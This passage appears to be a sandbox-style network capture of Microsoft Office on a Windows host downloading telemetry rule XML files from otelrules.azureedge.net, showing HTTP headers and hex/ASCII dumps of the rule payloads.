R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:34 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121834Z-16547b76f7fmbrhqhC1DFWkds80000000n2000000000cue4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:34 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:34 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 96cf3c30-101e-008d-3e69-3592e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121834Z-1866b5c5fbbtpjhjhC1DFWr6tw0000000140000000009ns8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:34 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:34 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 23d98194-001e-0082-1512-375880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121834Z-164f84587bfwh84ghC1DFWw35400000001fg000000005vhp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:34 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 46cd4d21-b01e-0097-7b90-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121834Z-16547b76f7f67wxlhC1DFWah9w0000000n1g00000000a6d4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:35 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:35 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121835Z-16547b76f7ftnm6xhC1DFW9c8c00000000y0000000004z91 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:35 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:35 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:35 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:35 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 454072ce-501e-008f-35f0-359054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121835Z-1866b5c5fbbzcdbqhC1DFW3r34000000019000000000d3va x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 12:18:35 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:35 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:35 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2697d698-f01e-003c-368d-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121835Z-164f84587bf5xhlshC1DFW604000000001fg000000001pcz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:35 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:35 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:35 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121835Z-1866b5c5fbbg6vdshC1DFW20h800000001c00000000093h3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:35 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:35 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:35 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:35 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 682504c0-001e-005a-75d2-2cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121835Z-16547b76f7fljddfhC1DFWeqbs000000022000000000c2cc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:35 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:35 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:36 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:36 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: ae8c5328-c01e-0034-77cb-362af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121836Z-164f84587bf6h2bxhC1DFWbcm800000001e0000000007z07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:36 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:35 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:36 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:36 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 659aa3e6-801e-008f-64d2-2c2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121836Z-16547b76f7fht2hfhC1DFWbngg00000001t0000000000kuz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:36 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:35 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:36 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:36 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: faeecedf-001e-0034-1179-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121836Z-164f84587bfpc2cvhC1DFW7gdw000000010000000000dd4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:36 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

